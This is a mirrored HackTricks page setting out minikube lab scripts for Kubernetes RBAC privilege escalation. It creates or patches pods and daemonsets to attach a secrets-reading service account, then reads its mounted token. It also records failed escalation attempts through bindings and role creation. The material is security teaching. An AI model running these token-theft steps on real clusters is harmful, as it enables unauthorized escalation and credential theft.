mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
609 lines
16 KiB
Markdown
609 lines
16 KiB
Markdown
# K8s Roles Abuse Lab
|
|
|
|
You can run these labs just inside **minikube**.
|
|
|
|
## Pod Creation -> Escalate to ns SAs
|
|
|
|
We are going to create:
|
|
|
|
* A **Service account "test-sa"** with a cluster privilege to **read secrets**
|
|
* A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
|
|
* **Permissions** to list and **create** pods to a user called "**Test**" will be given
|
|
* A Role "test-r" and RoleBinding "test-rb" will be created
|
|
* Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
|
|
* Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
|
|
* This is the way yo show the user could escalate privileges this way
|
|
|
|
{% hint style="info" %}
|
|
To create the scenario an admin account is used.\
|
|
Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
|
|
{% endhint %}
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["pods"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Check test-sa can access kube-system secrets
|
|
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get pods
|
|
|
|
# Create a pod as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: v1
|
|
kind: Pod
|
|
metadata:
|
|
name: test-pod
|
|
namespace: default
|
|
spec:
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete pod test-pod
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
## Create Daemonset
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["apps"]
|
|
resources: ["daemonsets"]
|
|
verbs: ["get", "list", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Check test-sa can access kube-system secrets
|
|
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get daemonsets
|
|
|
|
# Create a daemonset as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: apps/v1
|
|
kind: DaemonSet
|
|
metadata:
|
|
name: alpine
|
|
namespace: default
|
|
spec:
|
|
selector:
|
|
matchLabels:
|
|
name: alpine
|
|
template:
|
|
metadata:
|
|
labels:
|
|
name: alpine
|
|
spec:
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete daemonset alpine
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
### Patch Daemonset
|
|
|
|
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
|
|
|
|
If your user has the **verb update instead of patch, this won't work**.
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["apps"]
|
|
resources: ["daemonsets"]
|
|
verbs: ["get", "list", "patch"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
apiVersion: apps/v1
|
|
kind: DaemonSet
|
|
metadata:
|
|
name: alpine
|
|
namespace: default
|
|
spec:
|
|
selector:
|
|
matchLabels:
|
|
name: alpine
|
|
template:
|
|
metadata:
|
|
labels:
|
|
name: alpine
|
|
spec:
|
|
automountServiceAccountToken: false
|
|
hostNetwork: true
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100']' | kubectl apply -f -
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get daemonsets
|
|
|
|
# Create a daemonset as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: apps/v1
|
|
kind: DaemonSet
|
|
metadata:
|
|
name: alpine
|
|
namespace: default
|
|
spec:
|
|
selector:
|
|
matchLabels:
|
|
name: alpine
|
|
template:
|
|
metadata:
|
|
labels:
|
|
name: alpine
|
|
spec:
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete daemonset alpine
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
## Doesn't work
|
|
|
|
### Create/Patch Bindings
|
|
|
|
**Doesn't work:**
|
|
|
|
* **Create a new RoleBinding** just with the verb **create**
|
|
* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
|
* You cannot do this to assign the role to yourself or to a different SA
|
|
* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
|
* You cannot do this to assign the role to yourself or to a different SA
|
|
|
|
```bash
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa2
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["rbac.authorization.k8s.io"]
|
|
resources: ["rolebindings"]
|
|
verbs: ["get", "patch"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r2
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["pods"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb2
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r2
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Create a pod as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-r2
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa2
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r2
|
|
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete rolebinding test-rb2
|
|
kubectl delete role test-r
|
|
kubectl delete role test-r2
|
|
kubectl delete serviceaccount test-sa
|
|
kubectl delete serviceaccount test-sa2
|
|
```
|
|
|
|
### Bind explicitly Bindings
|
|
|
|
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
|
|
However, it didn't work for me:
|
|
|
|
```yaml
|
|
# Create 2 SAs, give one of them permissions to create clusterrolebindings
|
|
# and bind permissions over the ClusterRole "admin"
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa2
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: ["rbac.authorization.k8s.io"]
|
|
resources: ["clusterrolebindings"]
|
|
verbs: ["get", "create"]
|
|
- apiGroups: ["rbac.authorization.k8s.io/v1"]
|
|
resources: ["clusterroles"]
|
|
verbs: ["bind"]
|
|
resourceNames: ["admin"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
namespace: default
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io
|
|
' | kubectl apply -f -
|
|
|
|
# Try to bind the ClusterRole "admin" with the second SA (won't work)
|
|
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb2
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa2
|
|
namespace: default
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: admin
|
|
apiGroup: rbac.authorization.k8s.io
|
|
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
|
|
|
|
# Clean environment
|
|
kubectl delete clusterrolebindings test-crb
|
|
kubectl delete clusterrolebindings test-crb2
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete serviceaccount test-sa
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
```yaml
|
|
# Like the previous example, but in this case we try to use RoleBindings
|
|
# instead of CLusterRoleBindings
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa2
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: ["rbac.authorization.k8s.io"]
|
|
resources: ["clusterrolebindings"]
|
|
verbs: ["get", "create"]
|
|
- apiGroups: ["rbac.authorization.k8s.io"]
|
|
resources: ["rolebindings"]
|
|
verbs: ["get", "create"]
|
|
- apiGroups: ["rbac.authorization.k8s.io/v1"]
|
|
resources: ["clusterroles"]
|
|
verbs: ["bind"]
|
|
resourceNames: ["admin","edit","view"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
namespace: default
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
namespace: default
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io
|
|
' | kubectl apply -f -
|
|
|
|
# Won't work
|
|
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb2
|
|
namespace: default
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa2
|
|
namespace: default
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: admin
|
|
apiGroup: rbac.authorization.k8s.io
|
|
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
|
|
|
|
# Clean environment
|
|
kubectl delete rolebindings test-rb
|
|
kubectl delete rolebindings test-rb2
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete serviceaccount test-sa
|
|
kubectl delete serviceaccount test-sa2
|
|
```
|
|
|
|
### Arbitrary roles creation
|
|
|
|
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
|
|
|
|
```yaml
|
|
# Create a SA and give the permissions "create" and "patch" over "roles"
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["rbac.authorization.k8s.io"]
|
|
resources: ["roles"]
|
|
verbs: ["patch", "create", "get"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
' | kubectl apply -f -
|
|
|
|
# Try to create a role over all the resources with "create" and "patch"
|
|
## This won't wotrk
|
|
echo 'kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r2
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["*"]
|
|
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
|
|
|
|
# Clean the environment
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete role test-r2
|
|
kubectl delete serviceaccount test-sa
|
|
```
|